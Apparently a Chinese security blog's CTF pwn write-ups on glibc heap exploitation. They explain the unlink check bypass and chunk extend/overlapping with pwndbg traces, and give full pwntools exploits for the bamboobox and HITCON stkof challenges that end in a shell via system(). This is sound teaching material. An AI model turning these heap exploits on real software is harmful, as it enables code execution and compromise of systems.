[rbp-8h] v4 = __readfsqword(0x28u); if ( num > 99 ) { puts("the box is full"); } else { printf("Please enter the length of item name:"); read(0, buf, 8u); v2 = atoi(buf); if ( !v2 ) { puts("invaild length"); return 0; } for ( i = 0; i <= 99; ++i ) { if ( !*((_QWORD *)&unk_6020C8 + 2 * i) ) { *((_DWORD *)&itemlist + 4 * i) = v2; *((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2); printf("Please enter the name of item:"); *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0; ++num; return 0; } } } return 0; } add_item函数中,先输入一个长度v2,然后遍历bss中的空间(基址为0x6020c8),如果有空,则申请一块v2大小的chunk(这里所说的chunk大小不包括chunk头),将其地址写入bss。再输入一个字符串,将前v2个字节作为item名称写到chunk中。line 30的read函数返回实际读取的字节数,加上该字符串基址就是字符串的末尾,结尾置0表示字符串结束; change_item: unsigned __int64 change_item() { int v1; // [rsp+4h] [rbp-2Ch] int v2; // [rsp+8h] [rbp-28h] char buf[16]; // [rsp+10h] [rbp-20h] BYREF char nptr[8]; // [rsp+20h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of item:"); read(0, buf, 8u); v1 = atoi(buf); if ( *((_QWORD *)&unk_6020C8 + 2 * v1) ) { printf("Please enter the length of item name:"); read(0, nptr, 8u); v2 = atoi(nptr); printf("Please enter the new name of the item:"); *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0; } else { puts("invaild index"); } } else { puts("No item in the box"); } return __readfsqword(0x28u) ^ v5; } change_item函数负责给编号为v1的item改名,方法和add_item中完全一致。这也是堆溢出所在,因为我们输入的length如果超过该chunk的大小,就可以溢出到其他chunk中; remove_item: unsigned __int64 remove_item() { int v1; // [rsp+Ch] [rbp-14h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of item:"); read(0, buf, 8u); v1 = atoi(buf); if ( *((_QWORD *)&unk_6020C8 + 2 * v1) ) { free(*((void **)&unk_6020C8 + 2 * v1)); *((_QWORD *)&unk_6020C8 + 2 * v1) = 0; *((_DWORD *)&itemlist + 4 * v1) = 0; puts("remove successful!!"); --num; } else { puts("invaild index"); } } else { puts("No item in the box"); } return __readfsqword(0x28u) ^ v3; } 这个函数中存在free()功能。 之后按照如下思路: 堆布局 伪造 fake chunk fd/bk = ptr-0x18/ptr-0x10 修改 next chunk 的 prev_size/size unlink 写全局指针 写 GOT 表项 先 leak 后 getshell 给一下自己的一些辅助学习方法: Unlink过程 FD = 0x2000 (fake_chunk.fd) BK = 0x2008 (fake_chunk.bk) FD->bk = BK → *(0x2000 + 0x18 = 0x2018) = 0x2008 BK->fd = FD → *(0x2008 + 0x10 = 0x2018) = 0x2000 最终: 0x2018 = 0x2000 (itemlist[0]被修改) EXP # -*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher from time import sleep import sys context.arch = 'amd64' context.log_level = "debug" # io = process("./bamboobox") io = remote('node5.buuoj.cn', 29958) elf = ELF("./bamboobox") def DEBUG(): raw_input("DEBUG: ") gdb.attach(io) def show(): io.sendlineafter(b":", b"1") def add(length, name): io.sendlineafter(b":", b"2") io.sendlineafter(b":", str(length).encode()) io.sendafter(b":", name) def change(idx, length, name): io.sendlineafter(b":", b"3") io.sendlineafter(b":", str(idx).encode()) io.sendlineafter(b":", str(length).encode()) io.sendafter(b":", name) def remove(idx): io.sendlineafter(b":", b"4") io.sendlineafter(b":", str(idx).encode()) def exit(): io.sendlineafter(b":", b"5") if __name__ == "__main__": add(0x40, b'0' * 8) add(0x80, b'1' * 8) add(0x40, b'2' * 8) ptr = 0x6020c8 fakeChunk = flat([0, 0x41, ptr - 0x18, ptr - 0x10, cyclic(0x20), 0x40, 0x90]) change(0, 0x80, fakeChunk) remove(1) payload = flat([0, 0, 0x40, elf.got['atoi']]) change(0, 0x80, payload) show() # 泄露atoi地址 atoi_addr = u64(io.recvuntil(b"\\x7f")[-6:].ljust(8, b"\\x00")) success("atoi_addr -> {:#x}".format(atoi_addr)) # 使用LibcSearcher查找libc版本 libc = LibcSearcher('atoi', atoi_addr) libc_base = atoi_addr - libc.dump('atoi') system_addr = libc_base + libc.dump('system') success("libc_base -> {:#x}".format(libc_base)) success("system_addr -> {:#x}".format(system_addr)) pause() change(0, 0x8, p64(system_addr)) io.sendline(b'$0') io.interactive() io.close()","categories":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"}],"tags":[{"name":"Heap","slug":"Heap","permalink":"https://zer0ptr.github.io/tags/Heap/"},{"name":"unlink","slug":"unlink","permalink":"https://zer0ptr.github.io/tags/unlink/"},{"name":"hitcon","slug":"hitcon","permalink":"https://zer0ptr.github.io/tags/hitcon/"}]},{"title":"Unlink学习记录","slug":"heap-ptmalloc2-unlink","date":"2026-02-11T04:28:00.000Z","updated":"2026-02-12T10:37:38.894Z","comments":true,"path":"2026/02/11/heap-ptmalloc2-unlink/","permalink":"https://zer0ptr.github.io/2026/02/11/heap-ptmalloc2-unlink/","excerpt":"","text":"Overview unlink俗称脱链,就是将链表头处的free堆块从unsorted bin中脱离出来,然后和物理地址相邻的新free的堆块合并成大堆块(向前合并或向后合并),再放入到unsorted bin中。 危害原理:通过伪造free状态的fake_chunk,伪造fd和bk指针,通过绕过unlink的检测实现unlink使其往p所在的位置写入p-0x18,从而实现任意地址写的漏洞。 漏洞产生原因:Offbynull、offbyone、堆溢出,原因是修改了堆块的使用标志位。 源码解读 /*malloc.c int_free函数中*/ /*这里p指向当前malloc_chunk结构体*/ if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; //修改指向当前chunk的指针,指向前一个chunk。 p = chunk_at_offset(p, -((long) prevsize)); unlink(p, bck, fwd); } 进行判断:看当前堆块中p这个标志位,如果p设置为0则为free状态,则进行unlink,否则反之; 先提取prev_size,然后当前size+prev_size,此时指针会指向当前chunk的前一个堆块,合并后的指针地址为:free的堆块地址 - 前一个chunk大小,此时p指针则会从现在的堆块跳到前一个堆块; prevsize = p->prev_size; size += prevsize; 最后是将这个堆块和相邻的(这里是上一个)一起unlink。 //相关函数说明: #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) /*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/ #define unlink(P, BK, FD) { \\ FD = P->fd; \\ BK = P->bk; \\ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); FD->bk = BK; \\ BK->fd = FD; \\ ... } unlink函数是如何定义的: 从合并后新指针地址中提取出fd指针和bk指针作为临时变量; 这里有一个check,检查FD的bk和BK的fd是否指向当前堆块,若不通过则不进行unlink; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); 通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。 unlink的绕过和利用 我们伪造如下信息: chunk = 0x0602280 (P是将要合并到的堆地址,P存在chunk中,相当于 *chunk = P) P_fd = chunk - 0x18 = 0x0602268 P_bk = chunk - 0x10 = 0x0602270 我在学习的过程中此处卡住了,对于为什么是减去0x18和0x10这两个值我们在此复习一下为什么是减去0x18和0x10,在 glibc 的 malloc 实现(ptmalloc)中,在释放前、不在 bin 中时,chunk 结构为: struct malloc_chunk { size_t prev_size; // 0x00 偏移(如果前一个块空闲,才有用) size_t size; // 0x08 偏移(包含标志位) struct malloc_chunk* fd; // 0x10 偏移(仅在 bin 中使用) struct malloc_chunk* bk; // 0x18 偏移 // ... 更后面还有 fd_nextsize, bk_nextsize(large bin) }; 而回顾上面的内容有这样的一条:“通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。” 绕过技巧 define unlink(P, BK, FD) { \\ FD = P->fd; \\FD = 0x602268 BK = P->bk; \\BK = 0x602270 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \\FD->bk = *(0x602268+0x18) | *(0x602280) = P \\ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过! malloc_printerr (check_action, "corrupted double-linked list", P, AV); FD->bk = BK; \\*(0x602268+0x18) | *(0x602280) = 0x602270 BK->fd = FD; \\ *(0x602270+0x10) | *(0x602280) = 0x602268 ... } 绕过检查可以总结成:FD−>bk==PFD->bk == PFD−>bk==P 和 BK−>fd==PBK->fd == PBK−>fd==P,等价于: ∗(Pfd+0x18)==P*(P_fd + 0x18) == P∗(Pfd+0x18)==P 和 ∗(Pbk+0x10)==P*(P_bk + 0x10) == P∗(Pbk+0x10)==P 可以构造成 P_fd = P - 0x18 P_bk = P - 0x10 即: FD = P - 0x18 FD->bk = (P - 0x18) + 0x18 = P → 内容等于 P(绕过) BK = P - 0x10 BK->fd = (P - 0x10) + 0x10 = P → 内容等于 P(绕过) 总结起来就是:让 P->fd 指向 P - 0x18,P->bk 指向 P - 0x10,就能绕过 FD->bk == P 和 BK->fd == P 检查,并使 \\*P 被覆写为 P - 0x18。 2014 HITCON stkof 堆布局 伪造 fake chunk fd/bk = ptr-0x18/ptr-0x10 修改 next chunk 的 prev_size/size unlink 写全局指针 写 GOT 表项 先 leak 后 getshell EXP: from pwn import * from LibcSearcher import * context.log_level = 'debug' #libc = ELF('./libc.so.6') #sh = process("./stkof") sh = remote("node5.buuoj.cn",25830) stkof = ELF('./stkof') head = 0x602140 def malloc(size): sh.sendline(b'1') sh.sendline(str(size)) sh.recvuntil(b'OK\\n') def edit(idx,size,content): sh.sendline(b'2') sh.sendline(str(idx)) sh.sendline(str(size)) sh.send(content) sh.recvuntil('OK\\n') def free(idx): sh.sendline(b'3') sh.sendline(str(idx)) malloc(0x100) malloc(0x30) malloc(0x80) payload = p64(0) #pre_size = 0 payload += p64(0x20) #fake size payload += p64(head + 0x10 - 0x18) payload += p64(head + 0x10 - 0x10) payload += p64(0x20) payload = payload.ljust(0x30,b'a') payload += p64(0x30) payload += p64(0x90) edit(2, len(payload), payload) free(3) sh.recvuntil('OK\\n') payload2 = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi']) edit(2,len(payload2),payload2) payload3 = p64(stkof.plt['puts']) edit(0,len(payload3),payload3) free(1) puts_addr = u64(sh.recvuntil('\\nOK\\n', drop=True).ljust(8,b'\\x00')) # # libc_base = puts_addr - libc.symbols['puts'] # binsh_addr = libc_base + next(libc.search(b'/bin/sh')) # system_addr = libc_base + libc.symbols['system'] # libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') payload4 = p64(system_addr) binsh_addr =libc_base + libc.dump('str_bin_sh') edit(2, len(payload4), payload4) sh.send(p64(binsh_addr)) sh.interactive() References CTF-Wiki Unlink CSDN 好好说话之unlink 堆溢出——unlink漏洞攻击(bamboobox) 博客园 堆漏洞之unlink & 2014 HITCON stkof 堆块chunk介绍&堆溢出漏洞的unlink利用原理 Blogs PWN堆unlink 堆溢出利用 堆溢出——unlink漏洞攻击(buu举例) 堆溢出的unlink利用方法 先知 堆入门—unlink的理解和各种题型总结 看雪 堆学习:Unlink attack Bilibili 【星盟安全】PWN系列教程 第20节 Unlink","categories":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"}],"tags":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/tags/Pwn/"},{"name":"堆","slug":"堆","permalink":"https://zer0ptr.github.io/tags/%E5%A0%86/"},{"name":"unlink","slug":"unlink","permalink":"https://zer0ptr.github.io/tags/unlink/"}]},{"title":"Chunk Extend and Overlapping","slug":"chunk-extend-overlapping","date":"2026-02-09T13:37:16.000Z","updated":"2026-02-11T04:30:34.394Z","comments":true,"path":"2026/02/09/chunk-extend-overlapping/","permalink":"https://zer0ptr.github.io/2026/02/09/chunk-extend-overlapping/","excerpt":"","text":"Overview chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件: 程序中存在基于堆的漏洞 漏洞可以控制 chunk header 中的数据 ptmalloc对堆进行操作时使用的宏 chunk extend 技术能够产生的原因在于 ptmalloc 在对堆 chunk 进行操作时使用的各种宏; 在 ptmalloc 中,获取 chunk 块大小的操作如下: /* Get size, ignoring use bits */ #define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS)) /* Like chunksize, but do not mask SIZE_BITS. */ #define chunksize_nomask(p) ((p)->mchunk_size) 即使用当前块指针加上当前块大小。 在 ptmalloc 中,获取前一个 chunk 信息的操作如下: /* Size of the chunk below P. Only valid if prev_inuse (P). */ #define prev_size(p) ((p)->mchunk_prev_size) /* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */ #define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p))) 即通过 malloc_chunk->prev_size 获取前一块大小,然后使用本 chunk 地址减去所得大小。 在 ptmalloc,判断当前 chunk 是否是 use 状态的操作如下: #define inuse(p) ((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE) 即查看下一 chunk 的 prev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。 具体为什么是这样以及更多操作详见 CTF Wiki - 堆相关数据结构。 通过上面几个宏可以看出,ptmalloc 通过 chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块进行定位。简而言之,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。 Example 基本示例 1:对 inuse 的 fastbin 进行 extend 利用的效果是通过更改第一个块的大小来控制第二个块的内容。 示例都是在 64 位的程序。如果想在 32 位下进行测试,可以把 8 字节偏移改为 4 字节。 int main(void) { void *ptr,*ptr1; ptr=malloc(0x10);//分配第一个0x10的chunk malloc(0x10);//分配第二个0x10的chunk *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域 free(ptr); ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容 return 0; } 我们进pwndbg中调试一下,观察“当两个 malloc 语句执行之后,堆的内存分布”、“代码中把 chunk1 的 size 域更改为 0x41”、“执行 free 之后,chunk2 与 chunk1 合成一个 0x40 大小的 chunk”和“通过 malloc(0x30) 得到 chunk1+chunk2 的块”; 我分别在 main+22 (第一个malloc返回处)、main+36(第二个malloc返回处)、main+51(把 chunk1 的 size 域更改为 0x41后返回处)、main+58(free前)、main+63(free后)和 main+73(通过 malloc(0x30) 得到 chunk1+chunk2 的块前)下断点。 pwndbg> disassemble main Dump of assembler code for function main: 0x0000000000401156 <+0>: endbr64 0x000000000040115a <+4>: push rbp 0x000000000040115b <+5>: mov rbp,rsp 0x000000000040115e <+8>: sub rsp,0x10 0x0000000000401162 <+12>: mov edi,0x10 0x0000000000401167 <+17>: call 0x401060 <malloc@plt> 0x000000000040116c <+22>: mov QWORD PTR [rbp-0x8],rax 0x0000000000401170 <+26>: mov edi,0x10 0x0000000000401175 <+31>: call 0x401060 <malloc@plt> 0x000000000040117a <+36>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040117e <+40>: sub rax,0x8 0x0000000000401182 <+44>: mov QWORD PTR [rax],0x41 0x0000000000401189 <+51>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040118d <+55>: mov rdi,rax 0x0000000000401190 <+58>: call 0x401050 <free@plt> 0x0000000000401195 <+63>: mov edi,0x30 0x000000000040119a <+68>: call 0x401060 <malloc@plt> 0x000000000040119f <+73>: mov QWORD PTR [rbp-0x10],rax 0x00000000004011a3 <+77>: mov eax,0x0 0x00000000004011a8 <+82>: leave 0x00000000004011a9 <+83>: ret End of assembler dump. pwndbg> b *main+22 Breakpoint 1 at 0x40116c: file main.c, line 7. pwndbg> b *main+36 Breakpoint 2 at 0x40117a: file main.c, line 10. pwndbg> b *main+51 Breakpoint 3 at 0x401189: file main.c, line 12. pwndbg> b *main+58 Breakpoint 4 at 0x401190: file main.c, line 12. pwndbg> b *main+63 Breakpoint 5 at 0x401195: file main.c, line 13. pwndbg> b *main+73 Breakpoint 6 at 0x40119f: file main.c, line 13. pwndbg> 其实我这里的多下了一个断点,所以我这里c了一次 pwndbg> c Continuing. Breakpoint 2, main () at main.c:10 10 *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域 LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────── *RAX 0x4042c0 ◂— 0 RBX 0 RCX 0x21 RDX 0 RDI 0 *RSI 0x4042d0 ◂— 0 R8 0x21001 *R9 0x4042c0 ◂— 0 R10 0xfffffffffffff000 R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x4042d0 ◂— 0 R12 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze') R13 0x401156 (main) ◂— endbr64 R14 0x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffdbe0 ◂— 1 RSP 0x7fffffffdbd0 {ptr1} ◂— 0x1000 *RIP 0x40117a (main+36) ◂— mov rax, qword ptr [rbp - 8] ──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────── b+ 0x40116c <main+22> mov qword ptr [rbp - 8], rax [{ptr}] <= 0x4042a0 ◂— 0 0x401170 <main+26> mov edi, 0x10 EDI => 0x10 0x401175 <main+31> call malloc@plt <malloc@plt> ► 0x40117a <main+36> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0 0x40117e <main+40> sub rax, 8 RAX => 0x404298 (0x4042a0 - 0x8) 0x401182 <main+44> mov qword ptr [rax], 0x41 [0x404298] <= 0x41 b+ 0x401189 <main+51> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0 0x40118d <main+55> mov rdi, rax RDI => 0x4042a0 ◂— 0 b+ 0x401190 <main+58> call free@plt <free@plt> b+ 0x401195 <main+63> mov edi, 0x30 EDI => 0x30 0x40119a <main+68> call malloc@plt <malloc@plt> ────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────── In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:10 5 void *ptr,*ptr1; 6 7 ptr=malloc(0x10);//分配第一个0x10的chunk 8 malloc(0x10);//分配第二个0x10的chunk 9 ► 10 *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域 11 12 free(ptr); 13 ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容 14 return 0; 15 } ────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdbd0 {ptr1} ◂— 0x1000 01:0008│-008 0x7fffffffdbd8 {ptr} —▸ 0x4042a0 ◂— 0 02:0010│ rbp 0x7fffffffdbe0 ◂— 1 03:0018│+008 0x7fffffffdbe8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax 04:0020│+010 0x7fffffffdbf0 ◂— 0 05:0028│+018 0x7fffffffdbf8 —▸ 0x401156 (main) ◂— endbr64 06:0030│+020 0x7fffffffdc00 ◂— 0x1ffffdce0 07:0038│+028 0x7fffffffdc08 —▸ 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze') ──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x40117a main+36 1 0x7ffff7c29d90 __libc_start_call_main+128 2 0x7ffff7c29e40 __libc_start_main+128 3 0x401095 _start+37 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/10gx 0x4042a0 0x4042a0: 0x0000000000000000 0x0000000000000000 0x4042b0: 0x0000000000000000 0x0000000000000021 0x4042c0: 0x0000000000000000 0x0000000000000000 0x4042d0: 0x0000000000000000 0x0000000000020d31 0x4042e0: 0x0000000000000000 0x0000000000000000 pwndbg> 当两个 malloc 语句执行之后,堆的内存分布如上; 之后,我们把 chunk1 的 size 域更改为 0x41,0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小。如上所示正好大小为 0x40。在题目中这一步可以由堆溢出得到。 pwndbg> n Breakpoint 4, 0x0000000000401190 in main () at main.c:12 12 free(ptr); LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────── *RAX 0x4042a0 ◂— 0 RBX 0 RCX 0x21 RDX 0 *RDI 0x4042a0 ◂— 0 RSI 0x4042d0 ◂— 0 R8 0x21001 R9 0x4042c0 ◂— 0 R10 0xfffffffffffff000 R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x4042d0 ◂— 0 R12 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze') R13 0x401156 (main) ◂— endbr64 R14 0x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffdbe0 ◂— 1 RSP 0x7fffffffdbd0 {ptr1} ◂— 0x1000 *RIP 0x401190 (main+58) ◂— call free@plt ──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────── b+ 0x40117a <main+36> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0 0x40117e <main+40> sub rax, 8 RAX => 0x404298 (0x4042a0 - 0x8) 0x401182 <main+44> mov qword ptr [rax], 0x41 [0x404298] <= 0x41 b+ 0x401189 <main+51> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0 0x40118d <main+55> mov rdi, rax RDI => 0x4042a0 ◂— 0 ► 0x401190 <main+58> call free@plt <free@plt> ptr: 0x4042a0 ◂— 0 b+ 0x401195 <main+63> mov edi, 0x30 EDI => 0x30 0x40119a <main+68> call malloc@plt <malloc@plt> b+ 0x40119f <main+73> mov qword ptr [rbp - 0x10], rax 0x4011a3 <main+77> mov eax, 0 EAX => 0 0x4011a8 <main+82> leave ────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────── In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:12 7 ptr=malloc(0x10);//分配第一个0x10的chunk 8 malloc(0x10);//分配第二个0x10的chunk 9 10 *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域 11 ► 12 free(ptr); 13 ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容 14 return 0; 15 } ────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdbd0 {ptr1} ◂— 0x1000 01:0008│-008 0x7fffffffdbd8 {ptr} —▸ 0x4042a0 ◂— 0 02:0010│ rbp 0x7fffffffdbe0 ◂— 1 03:0018│+008 0x7fffffffdbe8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax 04:0020│+010 0x7fffffffdbf0 ◂— 0 05:0028│+018 0x7fffffffdbf8 —▸ 0x401156 (main) ◂— endbr64 06:0030│+020 0x7fffffffdc00 ◂— 0x1ffffdce0 07:0038│+028 0x7fffffffdc08 —▸ 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze') ──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x401190 main+58 1 0x7ffff7c29d90 __libc_start_call_main+128 2 0x7ffff7c29e40 __libc_start_main+128 3 0x401095 _start+37 pwndbg> x/4gx 0x404290 0x404290: 0x0000000000000000 0x0000000000000041 0x4042a0: 0x0000000000000000 0x0000000000000000 这里小回顾一下chunk的结构,就可以解释为什么是看 0x404290 这个地址了(这个地址是chunk的prev_size,而我们修改的就是size域),下面是一张参考图: 执行 free 之后,我们可以看到 chunk2 与 chunk1 合成一个 0x40 大小的 chunk,一起释放了: pwndbg> bins tcachebins 0x40 [ 1]: 0x4042a0 ◂— 0 fastbins empty unsortedbin empty smallbins empty largebins empty 之后我们通过 malloc(0x30) 得到 chunk1+chunk2 的块,此时就可以直接控制 chunk2 中的内容,我们也把这种状态称为 overlapping chunk。 基本示例 2:对 inuse 的 smallbin 进行 extend 通过之前深入理解堆的实现部分的内容,我们得知处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。 以下这个示例中,我们使用 0x80 这个大小来分配堆(作为对比,fastbin 默认的最大的 chunk 可使用范围是 0x70) // gcc -g test2.c -o test2 #include <stdio.h> int main() { void *test, *test1; test = malloc(0x80); // 分配第一个 0x80 的chunk1 malloc(0x10); // 分配第二个 0x10 的chunk2s malloc(0x10); // 防止与top chunk合并 *(long*)((long)test-0x8) = 0xb1; free(test); test1 = malloc(0xa0); } 在这个例子中,因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以我们需要额外分配一个 chunk,把释放的块与 top chunk 隔开。 我们进gdb中观察一下: pwndbg> b 9 Breakpoint 1 at 0x11a6: file main.c, line 9. pwndbg> r ········· ──────────────────────────────────────────────────────────────────────────────────────── In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的smallbin进行extend/main.c:9 4 int main() { 5 void *test, *test1; 6 test = malloc(0x80); // 分配第一个 0x80 的chunk1 7 malloc(0x10); // 分配第二个 0x10 的chunk2s 8 malloc(0x10); // 防止与top chunk合并 ► 9 *(long*)((long)test-0x8) = 0xb1; 10 free(test); 11 test1 = malloc(0xa0); 12 } ········· ──────────────────────────────────────────────────────────────────────────────────────────── pwndbg> i r rax rax 0x555555559298 93824992252568 pwndbg> x/30gx 0x555555559298 0x555555559298: 0x00000000000000b1 0x0000000000000000 0x5555555592a8: 0x0000000000000000 0x0000000000000000 0x5555555592b8: 0x0000000000000000 0x0000000000000000 0x5555555592c8: 0x0000000000000000 0x0000000000000000 0x5555555592d8: 0x0000000000000000 0x0000000000000000 0x5555555592e8: 0x0000000000000000 0x0000000000000000 0x5555555592f8: 0x0000000000000000 0x0000000000000000 0x555555559308: 0x0000000000000000 0x0000000000000000 0x555555559318: 0x0000000000000000 0x0000000000000000 0x555555559328: 0x0000000000000021 0x0000000000000000 0x555555559338: 0x0000000000000000 0x0000000000000000 0x555555559348: 0x0000000000000021 0x0000000000000000 0x555555559358: 0x0000000000000000 0x0000000000000000 0x555555559368: 0x0000000000020ca1 0x0000000000000000 0x555555559378: 0x0000000000000000 0x0000000000000000 其中,chunk1如下: 0x555555559298: 0x00000000000000b1 0x0000000000000000 0x5555555592a8: 0x0000000000000000 0x0000000000000000 0x5555555592b8: 0x0000000000000000 0x0000000000000000 0x5555555592c8: 0x0000000000000000 0x0000000000000000 0x5555555592d8: 0x0000000000000000 0x0000000000000000 0x5555555592e8: 0x0000000000000000 0x0000000000000000 0x5555555592f8: 0x0000000000000000 0x0000000000000000 0x555555559308: 0x0000000000000000 0x0000000000000000 0x555555559318: 0x0000000000000000 0x0000000000000000 chunk2: 0x555555559328: 0x0000000000000021 0x0000000000000000 0x555555559338: 0x0000000000000000 0x0000000000000000 用于隔离 top_chunk 的chunk(那它下面那个就是top chunk啦!): 0x555555559328: 0x0000000000000021 0x0000000000000000 0x555555559338: 0x0000000000000000 0x0000000000000000 接下来在第10行处下断点,执行*(int *)((int)test-0x8) = 0xb1;这段代码: pwndbg> x/30gx 0x555555559298 0x555555559298: 0x00000000000000b1 0x0000000555555559 0x5555555592a8: 0xe1643fe79a375a5e 0x0000000000000000 0x5555555592b8: 0x0000000000000000 0x0000000000000000 0x5555555592c8: 0x0000000000000000 0x0000000000000000 0x5555555592d8: 0x0000000000000000 0x0000000000000000 0x5555555592e8: 0x0000000000000000 0x0000000000000000 0x5555555592f8: 0x0000000000000000 0x0000000000000000 0x555555559308: 0x0000000000000000 0x0000000000000000 0x555555559318: 0x0000000000000000 0x0000000000000000 0x555555559328: 0x0000000000000021 0x0000000000000000 0x555555559338: 0x0000000000000000 0x0000000000000000 0x555555559348: 0x0000000000000021 0x0000000000000000 0x555555559358: 0x0000000000000000 0x0000000000000000 0x555555559368: 0x0000000000020ca1 0x0000000000000000 0x555555559378: 0x0000000000000000 0x0000000000000000 pwndbg> bin Ambiguous command "bin": binder, bins. pwndbg> bins tcachebins 0xb0 [ 1]: 0x5555555592a0 ◂— 0 fastbins empty unsortedbin empty smallbins empty largebins empty pwndbg> tcachebins 0xb0 [ 1]: 0x5555555592a0 ◂— 0 fastbins empty unsortedbin empty smallbins empty largebins empty pwndbg> 没有得到预期的结果,根据 tcachebins 猜测是因为使用了新版本的glibc导致,但我们仍然可以根据参考文章中学习其思路; 